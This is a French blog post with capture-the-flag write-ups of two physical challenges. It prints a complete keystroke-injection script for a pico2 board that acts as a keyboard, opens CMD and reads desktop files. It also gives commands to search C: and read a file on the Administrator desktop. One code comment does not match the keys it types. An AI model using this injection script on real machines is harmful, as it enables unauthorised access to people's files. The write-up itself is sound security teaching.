Bonjour à tous,
Dans ce deuxième billet de blog sur le Oxyhack Cyberevent CTF, je vais partager quelques comptes-rendus des défis physiques qui ont été très amusants ! Un grand merci à Baptiste Rebillard pour les superbes bricolages de pico2.
Quack #
Nous n’avons pas de clavier et un “flag.txt” nous nargue depuis le bureau de cet “ordinateur” (qui utilise windows, sigh)
Il suffit de flasher le firmware MicroPython sur la carte pico2 :
- appuyer sur le bouton BOOTSEL et le relâcher après quelques secondes
- télécharger micropython pour pico2 ici
- placer le fichier .uf2 dans le pico2
- puis attendre quelques secondes, il redémarrera automatiquement
- télécharger l’adafruit circuit python bundle ici
- dans le répertoire “lib”, insérer “adafruit_hid”
Une fois que tout est configuré, on peut téléverser un main.py ou code.py qui s’exécutera automatiquement lorsque le pico2 est alimenté.
Par exemple, nous pouvons simuler un clavier qui :
- appuie sur CTRL + R
- tape “CMD”
- appuie sur entrée (pour lancer le terminal)
- tape “d %USERPROFILE%\NDesktop”
- appuie sur entrée
- tape “type flag.txt”
- appuie sur entrée Et normalement devrait lire le fichier flag.txt.
En python maintenant :
import time
import board
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
keyboard = Keyboard(usb_hid.devices)
# In order to have the time to delete the code.py without running the commands
# if we connect the pico to our computer (for example to change the code.py)
time.sleep(4)
# Closing all tabs
for _ in range(3):
keyboard.press(Keycode.ALT)
keyboard.press(Keycode.F4)
keyboard.release_all()
time.sleep(0.1)
# Start CMD
keyboard.press(Keycode.WINDOWS)
keyboard.press(Keycode.R)
keyboard.release_all()
time.sleep(3)
keyboard.press(Keycode.C);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.M);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER)
keyboard.release_all()
time.sleep(1)
# Write "cd %USERPROFILE%\\Desktop"
keyboard.press(Keycode.C);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SPACE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SHIFT)
keyboard.press(Keycode.FIVE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.U);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.S);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.R);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.R);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.O);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.F);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.I);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.L);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SHIFT)
keyboard.press(Keycode.FIVE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.BACKSLASH);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.BACKSLASH);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.D);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.S);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.K);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.O);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER);keyboard.release_all();time.sleep(0.1)
# Write "type flag.txt"
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.Y);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.P);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.E);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.SPACE);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.H);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.I);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.N);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.PERIOD);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.X);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.T);keyboard.release_all();time.sleep(0.1)
keyboard.press(Keycode.ENTER)
keyboard.release_all()
# Wait 10 second in order to see the flag
time.sleep(10)
# Closing all tabs
for _ in range(3):
keyboard.press(Keycode.ALT)
keyboard.press(Keycode.F4)
keyboard.release_all()
time.sleep(0.1)
Bon, c’était beaucoup de code 🤯🤯🤯 Voici maintenant le résultat pour un peu plus de plaisir :
OHxY{qu4ck_th3_w4y_t0_fl4g}
Hack the Allfather #
On suit la même méthode que pour “Quack” pour voir le contenu du fichier HINT.txt
. Ensuite, pour ensuite chercher “quelque chose” sur la machine, sans trop savoir quoi.
Tout d’abord, ils nous faut savoir ce que nous cherchons, on peut donc par exemple exécuter : “dir c:\flag.txt /s /p” afin de scanner le “C:" de manière récursive.
Et dernière étape : “type C:\Users\Administrator\Desktop\flag.txt”
OHxY{0d1n5_s3cr3ts_f0r_v1ct0ry_in_v4lh4ll4}